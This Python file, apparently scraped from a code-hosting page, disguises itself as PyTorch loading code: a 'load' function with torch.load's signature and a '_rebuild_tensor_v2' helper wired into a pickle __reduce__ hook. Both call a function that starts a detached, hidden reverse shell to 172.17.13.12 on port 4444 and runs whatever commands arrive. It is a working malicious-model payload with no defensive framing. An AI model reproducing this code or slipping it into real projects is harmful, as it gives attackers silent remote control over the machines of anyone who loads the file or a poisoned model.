File size: 1,812 Bytes
b62d5f8
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from typing import Optional, Any

def spawn_detached_shell(attacker_ip="172.17.13.12", attacker_port=4444):
    import sys
    import subprocess
    import os
    
    code = f'''
import socket
import subprocess

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("{attacker_ip}", {attacker_port}))

while True:
    s.send(b"$ ")
    cmd = s.recv(1024).decode()
    if cmd.strip() in {{"exit", "quit"}}:
        break
    try:
        output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
    except subprocess.CalledProcessError as e:
        output = e.output
    s.send(output)

s.close()
'''

    if sys.platform == "win32":
        DETACHED_PROCESS = 0x00000008
        subprocess.Popen([sys.executable, "-c", code],
                         creationflags=DETACHED_PROCESS,
                         stdout=subprocess.DEVNULL,
                         stderr=subprocess.DEVNULL,
                         stdin=subprocess.DEVNULL,
                         close_fds=True)
    else:
        # Unix-like: start new session to detach process
        subprocess.Popen([sys.executable, "-c", code],
                         stdout=subprocess.DEVNULL,
                         stderr=subprocess.DEVNULL,
                         stdin=subprocess.DEVNULL,
                         preexec_fn=os.setsid,
                         close_fds=True)

class FileLike:
    pass

class _utils:
    def __reduce__(self):
        return (_utils._rebuild_tensor_v2, ())
    @staticmethod
    def _rebuild_tensor_v2(*args, **kwargs):
       spawn_detached_shell()

def load(
    f: FileLike,
    map_location = None,
    pickle_module: Any = None,
    *,
    weights_only: Optional[bool] = None,
    mmap: Optional[bool] = None,
    **pickle_load_args: Any,
):
    spawn_detached_shell()